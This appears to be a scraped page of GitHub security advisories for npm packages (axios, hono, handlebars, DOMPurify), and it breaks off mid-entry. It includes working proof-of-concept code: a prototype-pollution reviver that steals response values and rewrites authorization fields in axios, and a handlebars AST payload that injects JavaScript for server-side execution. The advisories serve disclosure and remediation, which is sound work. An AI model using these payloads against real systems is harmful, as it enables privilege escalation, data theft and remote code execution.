- GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
- MDN: JSON.parse reviver
- Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42044"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:19:33Z",
"nvd_published_at": "2026-04-24T18:16:31Z",
"severity": "MODERATE"
},
"details": "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** \u2014 including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** \u2014 the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** \u2014 individual JSON keys can be changed while others remain untouched\n3. **Invisible** \u2014 the response structure and most values look completely normal\n4. **Simultaneous exfiltration** \u2014 the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response \u2014 full data exfiltration. In the PoC, `apiKey: \"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false \u2192 true`, `role: \"viewer\" \u2192 \"admin\"`, `balance: 100 \u2192 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error \u2014 the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype[\u0027header\u0027]` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes \u2192 goes through mergeConfig | No \u2192 bypasses mergeConfig | **No \u2192 bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n \u2502\n \u25bc\n mergeConfig(defaults, userConfig)\n \u2502\n \u2502 parseReviver NOT in defaults \u2192 NOT iterated by mergeConfig\n \u2502 parseReviver NOT in userConfig \u2192 NOT iterated by mergeConfig\n \u2502 Merged config has NO own parseReviver property\n \u2502\n \u25bc\n transformData.call(config, config.transformResponse, response)\n \u2502\n \u2502 Default transformResponse function runs (NOT overridden)\n \u2502\n \u25bc\n defaults/index.js:124: JSON.parse(data, this.parseReviver)\n \u2502\n \u2502 this = config (merged config object, plain {})\n \u2502 config.parseReviver \u2192 NOT own property \u2192 traverses prototype chain\n \u2502 \u2192 finds Object.prototype.parseReviver \u2192 attacker\u0027s function!\n \u2502\n \u25bc\n JSON.parse calls reviver for EVERY key-value pair\n \u2502\n \u2502 Attacker can: read original value, modify it, return anything\n \u2502 No validation, no constraints, no assertOptions check\n \u2502\n \u25bc\n Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`\u0027s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function\u0027s `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n function transformResponse(data) {\n // ... transitional checks ...\n if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n // ...\n try {\n return JSON.parse(data, this.parseReviver);\n // ^^^^^^^^^^^^^^^^^\n // this = config\n // config.parseReviver \u2192 prototype chain \u2192 attacker\u0027s function\n } catch (e) {\n // ...\n }\n }\n return data;\n },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({\n user: \u0027john\u0027,\n role: \u0027viewer\u0027,\n isAdmin: false,\n canDelete: false,\n balance: 100,\n permissions: [\u0027read\u0027],\n apiKey: \u0027sk-secret-internal-key\u0027,\n }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027Before:\u0027, JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n // Silently capture all original values\n if (key \u0026\u0026 typeof value !== \u0027object\u0027) stolen[key] = value;\n // Surgically modify specific values\n if (key === \u0027isAdmin\u0027) return true; // false \u2192 true\n if (key === \u0027role\u0027) return \u0027admin\u0027; // viewer \u2192 admin\n if (key === \u0027canDelete\u0027) return true; // false \u2192 true\n if (key === \u0027balance\u0027) return 999999; // 100 \u2192 999999\n return value; // everything else unchanged\n};\n\n// === After Pollution \u2014 same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027After: \u0027, JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log(\u0027Stolen:\u0027, JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: false\n role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n Polluted with selective value modifier\n\n[3] Same request (after pollution):\n response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n \"apiKey\":\"sk-secret-internal-key\"}\n isAdmin: true (was: false)\n role: admin (was: viewer)\n canDelete: true (was: false)\n balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n apiKey: sk-secret-internal-key\n All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n parseReviver in defaults? NO\n parseReviver in assertOptions schema? NO\n parseReviver validated anywhere? NO\n Must return true? NO \u2014 can return ANY value\n Replaces entire transform? NO \u2014 works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// \u2192 Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// \u2192 Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// \u2192 Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact \u2014 only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027)\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === \u0027function\u0027 \u0026\u0026\n Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027))\n ? this.parseReviver\n : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** \u2014 unsafe prototype chain traversal on the merged config object \u2014 with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function\u0027s `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path \u2014 we defer to the maintainer\u0027s judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
"id": "GHSA-3w6x-2g7m-8v23",
"modified": "2026-05-05T00:19:33Z",
"published": "2026-05-05T00:19:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`"
}
GHSA-VF2M-468P-8V99
Vulnerability from github – Published: 2026-05-05 00:26 – Updated: 2026-05-05 00:26Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details
In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment: - Axios main at commit f7a4ee2 - Node v24.2.0
Steps:
- Start an HTTP server that returns a 2 MiB response body.
- Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
- Read the returned stream fully.
Observed: - Success; full 2097152 bytes readable.
Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact
Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42036"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:26:57Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen responseType: \u0027stream\u0027 is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.\n\n### Details\nIn lib/adapters/http.js:\n - 786-789: for responseType === \u0027stream\u0027, Axios immediately settles with the stream.\n - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.\n\nSo callers may set maxContentLength and still receive/read arbitrarily large streamed responses.\n\n### PoC\n\nEnvironment:\n- Axios main at commit f7a4ee2\n- Node v24.2.0\n\n Steps:\n\n1. Start an HTTP server that returns a 2 MiB response body.\n2. Call Axios with:\n - adapter: \u0027http\u0027\n - responseType: \u0027stream\u0027\n - maxContentLength: 1024\n3. Read the returned stream fully.\n\nObserved:\n- Success; full 2097152 bytes readable.\n\nControl check:\n- Same endpoint with responseType: \u0027text\u0027 and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.\n\n### Impact\nType: DoS / unbounded response processing.\nImpacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.",
"id": "GHSA-vf2m-468p-8v99",
"modified": "2026-05-05T00:26:58Z",
"published": "2026-05-05T00:26:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42036"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Axios: HTTP adapter streamed responses bypass maxContentLength"
}
GHSA-XPCF-PG52-R92G
Vulnerability from github – Published: 2026-04-08 00:17 – Updated: 2026-04-24 21:06Summary
ipRestriction() does not canonicalize IPv4-mapped IPv6 client addresses (e.g. ::ffff:127.0.0.1) before applying IPv4 allow or deny rules. In environments such as Node.js dual-stack, this can cause IPv4 rules to fail to match, leading to unintended authorization behavior.
Details
The middleware classifies client addresses based on their textual form. Addresses containing ":" are treated as IPv6, including IPv4-mapped IPv6 addresses such as ::ffff:127.0.0.1. These addresses are not normalized to IPv4 before matching.
As a result:
- IPv4 static rules (e.g.
127.0.0.1) do not match because the raw string differs - IPv4 CIDR rules (e.g.
127.0.0.0/8,10.0.0.0/8) are skipped because the address is treated as IPv6
For example, with:
denyList: ['127.0.0.1']
a request from 127.0.0.1 may be represented as ::ffff:127.0.0.1 and bypass the deny rule.
This behavior commonly occurs in Node.js environments where IPv4 clients are exposed as IPv4-mapped IPv6 addresses.
Impact
Applications that rely on IPv4-based ipRestriction() rules may incorrectly allow or deny requests.
In affected deployments, a denied IPv4 client may bypass access restrictions. Conversely, legitimate clients may be rejected when using IPv4 allow lists.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39409"
],
"database_specific": {
"cwe_ids": [
"CWE-180"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:17:14Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`ipRestriction()` does not canonicalize IPv4-mapped IPv6 client addresses (e.g. `::ffff:127.0.0.1`) before applying IPv4 allow or deny rules. In environments such as Node.js dual-stack, this can cause IPv4 rules to fail to match, leading to unintended authorization behavior.\n\n## Details\n\nThe middleware classifies client addresses based on their textual form. Addresses containing \"`:`\" are treated as IPv6, including IPv4-mapped IPv6 addresses such as `::ffff:127.0.0.1`. These addresses are not normalized to IPv4 before matching.\n\nAs a result:\n\n* IPv4 static rules (e.g. `127.0.0.1`) do not match because the raw string differs\n* IPv4 CIDR rules (e.g. `127.0.0.0/8`, `10.0.0.0/8`) are skipped because the address is treated as IPv6\n\nFor example, with:\n\n`denyList: [\u0027127.0.0.1\u0027]`\n\na request from `127.0.0.1` may be represented as `::ffff:127.0.0.1` and bypass the deny rule.\n\nThis behavior commonly occurs in Node.js environments where IPv4 clients are exposed as IPv4-mapped IPv6 addresses.\n\n## Impact\n\nApplications that rely on IPv4-based `ipRestriction()` rules may incorrectly allow or deny requests.\n\nIn affected deployments, a denied IPv4 client may bypass access restrictions. Conversely, legitimate clients may be rejected when using IPv4 allow lists.",
"id": "GHSA-xpcf-pg52-r92g",
"modified": "2026-04-24T21:06:13Z",
"published": "2026-04-08T00:17:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-xpcf-pg52-r92g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39409"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/48fa2233bc092f650119f42df043050737cabf39"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Hono has incorrect IP matching in ipRestriction() for IPv4-mapped IPv6 addresses"
}
GHSA-3MFM-83XF-C92R
Vulnerability from github – Published: 2026-03-27 18:20 – Updated: 2026-03-27 21:52Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33938"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:20:44Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n {{\u003e@partial-block}}\n {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n {{merge @_parent partial-block=1}}\n {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n payload: {\n type: \"Program\",\n body: [\n {\n type: \"MustacheStatement\",\n depth: 0,\n path: {\n type: \"PathExpression\",\n parts: [\"pop\"],\n original: \"this.pop\",\n // Code injected via depth field \u2014 breaks out of generated function call\n depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n },\n },\n ],\n },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in contexts where templates or context data can be influenced by untrusted input.",
"id": "GHSA-3mfm-83xf-c92r",
"modified": "2026-03-27T21:52:26Z",
"published": "2026-03-27T18:20:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}
GHSA-V9JR-RG53-9PGP
Vulnerability from github – Published: 2026-04-22 17:31 – Updated: 2026-04-27 16:32Summary
DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.
Affected Versions
- 3.0.1 through 3.3.3 (current latest) — all affected
- 3.0.0 and all 2.x versions — NOT affected (used
Object.create(null)for initialization, no|| {}reassignment) - The vulnerable
|| {}reassignment was introduced in the 3.0.0→3.0.1 refactor - This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
- This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)
Root Cause
In purify.js at line 590, during config parsing:
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.
Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.
As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.
Impact
- Attack type: XSS bypass via prototype pollution chain
- Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
